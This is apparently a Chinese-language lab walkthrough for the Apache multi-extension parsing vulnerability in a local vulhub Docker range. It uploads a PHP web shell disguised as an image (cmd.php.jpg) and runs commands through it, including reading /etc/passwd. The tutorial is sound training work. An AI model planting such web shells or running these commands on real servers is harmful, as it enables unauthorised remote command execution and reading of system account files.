一、打开ubuntu靶场并开启环境
cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability 进入目录
docker-compose build 打包镜像
docker-compose up -d 后台运行
在这里插入图片描述
二、访问web界面
http://192.168.35.132地址,确认靶场搭建成功。
(地址不知道新建个终端查下ifconfig)
准备一个无害的图片马,新建一个记事本,保存内容为<?php phpinfo();?>的文件并保存文件名为phpinfo.php.png。上传到靶场。
这一步是为了验证漏洞是否存在;写入phpinfo()探针代码。

三、访问目录
http://192.168.35.131/uploadfiles/phpinfo.php.png
备注:File uploaded successfully: /var/www/html/uploadfiles/phpinfo.php.png
successfully 成功
/var/www/html是默认目录。

在这里插入图片描述
四、创建木马文件
新建一个记事本,内容为<?php system($_GET['cmd']); ?>,并保存名为cmd.php.jpg
内容解释:

<?php ... ?>:告诉服务器:这里面是 PHP 代码。

system():执行系统命令,并把结果直接打印到网页上。
$_GET[‘cmd’]:从网址 ?cmd=xxx 里获取命令内容。
在这里插入图片描述
五、靶场上传图片马
提交出现successfully,视为成功。
在这里插入图片描述
添加路径/uploadfiles/cmd.php.jpg和执行代码?cmd=cat /etc/passwd
页面弹出代码执行结果,靶场服务器内部用户信息
在这里插入图片描述

?cmd=uname -a
因为 docker 里面的容器与宿主机共享内核所以查出来的是宿主机的主机信息
?cmd=ifconfig
疑问:为什么用 ifconfig 查这个受害者主机的内网地址会是空的?
答案:分析这个靶场可能用的是容器,没有安装 ifconfig 相关的软件(插件名字为 net-tools)
所以浏览器返回结果为空
解决方法:尝试其他命令比如:ip addr 或者 ip a 或者 hostname -i
最终结果就是能够查到这个 docker 容器的 IP 地址为 172.22.0.2

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐